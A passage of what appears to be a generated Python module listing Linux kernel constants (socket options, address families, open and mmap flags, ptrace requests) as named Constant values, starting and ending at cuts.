Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0o003)\nO_RDONLY = Constant('O_RDONLY',0o0)\nO_WRONLY = Constant('O_WRONLY',0o1)\nO_RDWR = Constant('O_RDWR',0o2)\nO_CREAT = Constant('O_CREAT',0o100)\nO_EXCL = Constant('O_EXCL',0o200)\nO_NOCTTY = Constant('O_NOCTTY',0o400)\nO_TRUNC = Constant('O_TRUNC',0o1000)\nO_APPEND = Constant('O_APPEND',0o2000)\nO_NONBLOCK = Constant('O_NONBLOCK',0o4000)\nO_NDELAY = Constant('O_NDELAY',0o4000)\nO_DSYNC = Constant('O_DSYNC',0o10000)\nFASYNC = Constant('FASYNC',0o20000)\nO_DIRECTORY = Constant('O_DIRECTORY',0o40000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0o100000)\nO_DIRECT = Constant('O_DIRECT',0o200000)\nO_LARGEFILE = Constant('O_LARGEFILE',0)\nO_NOATIME = Constant('O_NOATIME',0o1000000)\nO_CLOEXEC = Constant('O_CLOEXEC',0o2000000)\nO_SYNC = Constant('O_SYNC',(0o10000|0o4000000))\nO_PATH = Constant('O_PATH',0o10000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o20000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',5)\nF_SETLK = Constant('F_SETLK',6)\nF_SETLKW = Constant('F_SETLKW',7)\nF_SETOWN = Constant('F_SETOWN',8)\nF_GETOWN = Constant('F_GETOWN',9)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nF_GETLK64 = Constant('F_GETLK64',12)\nF_SETLK64 = Constant('F_SETLK64',13)\nF_SETLKW64 = Constant('F_SETLKW64',14)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',0)\nF_WRLCK = Constant('F_WRLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o40000))\nO_ASYNC = Constant('O_ASYNC',0o20000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x10)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x2000)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x4000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x8000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000)\nMAP_STACK = Constant('MAP_STACK',0x20000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x40000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_INVALIDATE = Constant('MS_INVALIDATE',2)\nMS_SYNC = Constant('MS_SYNC',4)\nMCL_CURRENT = Constant('MCL_CURRENT',1)\nMCL_FUTURE = Constant('MCL_FUTURE',2)\nMCL_ONFAULT = Constant('MCL_ONFAULT',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMAP_ANON = Constant('MAP_ANON',0x20)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = 